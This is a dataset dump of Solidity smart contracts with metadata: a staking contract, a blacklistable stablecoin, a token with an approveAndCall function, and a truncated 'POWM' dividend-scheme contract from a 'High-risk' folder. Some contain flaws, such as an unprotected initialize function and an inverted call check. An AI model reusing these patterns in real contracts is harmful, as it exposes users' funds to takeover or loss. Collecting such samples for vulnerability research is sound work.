hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
8b22cb3ba75ab761d2208bf7f537ba2ed3a55048ab664278e50eacf4e7aff480
| 27,702 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/0d/0d388a95e52c8ea639d840c167c05eb3cc84018b_TimeStaking.sol
| 4,271 | 17,187 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
uint public fees;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
uint fee = _amount.mul(fees).div(10000);
uint profit = _amount.sub(fee);
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, profit);
IERC20(Time).safeTransfer(address(0), fee);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
function setFee(uint _fees) external onlyManager() {
fees = _fees;
}
}
| 96,688 | 10,600 |
06e764dfcca1a0fef92926e76290ec1bcd841fb51543c2750f4e7c4688c89653
| 23,533 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0x9cb79101f795287585843d71c1b0a33a0724c2bb.sol
| 3,359 | 12,608 |
pragma solidity ^0.5.0;
interface HERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is HERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner,
address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from,
address to,
uint256 value)
public
returns (bool)
{
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(address spender,
uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender,
uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
event PauserChanged(address indexed newAddress);
address public pauser;
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier onlyPauser() {
require(msg.sender == pauser);
_;
}
function pause() onlyPauser public {
paused = true;
emit Pause();
}
function unpause() onlyPauser public {
paused = false;
emit Unpause();
}
function updatePauser(address _newPauser) onlyOwner public {
require(_newPauser != address(0));
pauser = _newPauser;
emit PauserChanged(pauser);
}
}
contract Blacklistable is Ownable {
address public blacklister;
mapping(address => bool) internal blacklisted;
event Blacklisted(address indexed _account);
event UnBlacklisted(address indexed _account);
event BlacklisterChanged(address indexed newBlacklister);
modifier onlyBlacklister() {
require(msg.sender == blacklister);
_;
}
modifier notBlacklisted(address _account) {
require(blacklisted[_account] == false);
_;
}
function isBlacklisted(address _account) public view returns (bool) {
return blacklisted[_account];
}
function blacklist(address _account) public onlyBlacklister {
blacklisted[_account] = true;
emit Blacklisted(_account);
}
function unBlacklist(address _account) public onlyBlacklister {
blacklisted[_account] = false;
emit UnBlacklisted(_account);
}
function updateBlacklister(address _newBlacklister) public onlyOwner {
require(_newBlacklister != address(0));
blacklister = _newBlacklister;
emit BlacklisterChanged(blacklister);
}
}
contract LakesCash is Ownable, ERC20, Pausable, Blacklistable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
string public currency;
address public masterMinter;
bool internal initialized;
mapping(address => uint256) internal balances;
mapping(address => mapping(address => uint256)) internal allowed;
uint256 internal totalSupply_ = 0;
mapping(address => bool) internal minters;
mapping(address => uint256) internal minterAllowed;
event Mint(address indexed minter, address indexed to, uint256 amount);
event Burn(address indexed burner, uint256 amount);
event MinterConfigured(address indexed minter, uint256 minterAllowedAmount);
event MinterRemoved(address indexed oldMinter);
event MasterMinterChanged(address indexed newMasterMinter);
function initialize(string memory _name,
string memory _symbol,
string memory _currency,
uint8 _decimals,
address _masterMinter,
address _pauser,
address _blacklister,
address _owner) public {
require(!initialized);
require(_masterMinter != address(0));
require(_pauser != address(0));
require(_blacklister != address(0));
require(_owner != address(0));
name = _name;
symbol = _symbol;
currency = _currency;
decimals = _decimals;
masterMinter = _masterMinter;
pauser = _pauser;
blacklister = _blacklister;
initialized = true;
}
modifier onlyMinters() {
require(minters[msg.sender] == true);
_;
}
function mint(address _to, uint256 _amount) whenNotPaused onlyMinters notBlacklisted(msg.sender) notBlacklisted(_to) public returns (bool) {
require(_to != address(0));
require(_amount > 0);
uint256 mintingAllowedAmount = minterAllowed[msg.sender];
require(_amount <= mintingAllowedAmount);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
minterAllowed[msg.sender] = mintingAllowedAmount.sub(_amount);
emit Mint(msg.sender, _to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
modifier onlyMasterMinter() {
require(msg.sender == masterMinter);
_;
}
function minterAllowance(address minter) public view returns (uint256) {
return minterAllowed[minter];
}
function isMinter(address account) public view returns (bool) {
return minters[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return allowed[owner][spender];
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address account) public view returns (uint256) {
return balances[account];
}
function approve(address _spender, uint256 _value) whenNotPaused notBlacklisted(msg.sender) notBlacklisted(_spender) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused notBlacklisted(_to) notBlacklisted(msg.sender) notBlacklisted(_from) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) whenNotPaused notBlacklisted(msg.sender) notBlacklisted(_to) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function configureMinter(address minter, uint256 minterAllowedAmount) whenNotPaused onlyMasterMinter public returns (bool) {
minters[minter] = true;
minterAllowed[minter] = minterAllowedAmount;
emit MinterConfigured(minter, minterAllowedAmount);
return true;
}
function removeMinter(address minter) onlyMasterMinter public returns (bool) {
minters[minter] = false;
minterAllowed[minter] = 0;
emit MinterRemoved(minter);
return true;
}
function burn(uint256 _amount) whenNotPaused onlyMinters notBlacklisted(msg.sender) public {
uint256 balance = balances[msg.sender];
require(_amount > 0);
require(balance >= _amount);
totalSupply_ = totalSupply_.sub(_amount);
balances[msg.sender] = balance.sub(_amount);
emit Burn(msg.sender, _amount);
emit Transfer(msg.sender, address(0), _amount);
}
function updateMasterMinter(address _newMasterMinter) onlyOwner public {
require(_newMasterMinter != address(0));
masterMinter = _newMasterMinter;
emit MasterMinterChanged(masterMinter);
}
}
| 134,581 | 10,601 |
c1a878df1d630a079d12b4aa5e495ebb5d65785e83bc8bfd58713b9868f8c211
| 11,855 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x97566d1ff80dc3282ebe14b8ab39d68d77fc0746.sol
| 2,668 | 9,561 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public
{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event setNewBlockEvent(string SecretKey_Pre, string Name_New, string TxHash_Pre, string DigestCode_New, string Image_New, string Note_New);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
using SafeMath for uint256;
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(address _to,
uint256 _amount)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract BurnableToken is StandardToken {
using SafeMath for uint256;
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
}
}
contract BigWhale is MintableToken, BurnableToken {
constructor() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
string public name = "BigWhale";
string public symbol = "BWT";
uint public constant decimals = 3;
uint256 public constant INITIAL_SUPPLY = 500 * (10 ** uint256(decimals));
string public Image_root = "https://swarm.chainbacon.com/bzz:/22cb39c450c68382417f29f33f1aa8a7187012aa88b843dc2de089ab20688179/";
string public Note_root = "https://swarm.chainbacon.com/bzz:/254e380b1b1bdf4bf394e6fe24ca20d6b6c47b14db5b2bf4949778edf65fb14c/";
string public DigestCode_root = "3bd5d5117c3c5ec56eff3ec8d8ddc2f7b15b59571ae2def96db104f1640f7c77";
function getIssuer() public pure returns(string) { return "JoshRager"; }
function getSource() public pure returns(string) { return "JoshRager"; }
string public TxHash_root = "genesis";
string public ContractSource = "";
string public CodeVersion = "v0.1";
string public SecretKey_Pre = "";
string public Name_New = "";
string public TxHash_Pre = "";
string public DigestCode_New = "";
string public Image_New = "";
string public Note_New = "";
function getName() public view returns(string) { return name; }
function getDigestCodeRoot() public view returns(string) { return DigestCode_root; }
function getTxHashRoot() public view returns(string) { return TxHash_root; }
function getImageRoot() public view returns(string) { return Image_root; }
function getNoteRoot() public view returns(string) { return Note_root; }
function getCodeVersion() public view returns(string) { return CodeVersion; }
function getContractSource() public view returns(string) { return ContractSource; }
//uint256 public totalSupply = INITIAL_SUPPLY ;
function getSecretKeyPre() public view returns(string) { return SecretKey_Pre; }
function getNameNew() public view returns(string) { return Name_New; }
function getTxHashPre() public view returns(string) { return TxHash_Pre; }
function getDigestCodeNew() public view returns(string) { return DigestCode_New; }
function getImageNew() public view returns(string) { return Image_New; }
function getNoteNew() public view returns(string) { return Note_New; }
function setNewBlock(string _SecretKey_Pre, string _Name_New, string _TxHash_Pre, string _DigestCode_New, string _Image_New, string _Note_New) returns (bool success) {
SecretKey_Pre = _SecretKey_Pre;
Name_New = _Name_New;
TxHash_Pre = _TxHash_Pre;
DigestCode_New = _DigestCode_New;
Image_New = _Image_New;
Note_New = _Note_New;
emit setNewBlockEvent(SecretKey_Pre, Name_New, TxHash_Pre, DigestCode_New, Image_New, Note_New);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
require(!_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
}
| 181,315 | 10,602 |
1e4aa133ce66d521928ef3af76a0f92dcc40abddbd9ab629cc96a89a8ff0d6b9
| 26,312 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/High-risk/0xA146240bF2C04005A743032DC0D241ec0bB2BA2B.sol
| 4,660 | 17,932 |
pragma solidity ^0.4.20;
contract POWM {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// they CANNOT:
// -> take funds
// -> disable withdrawals
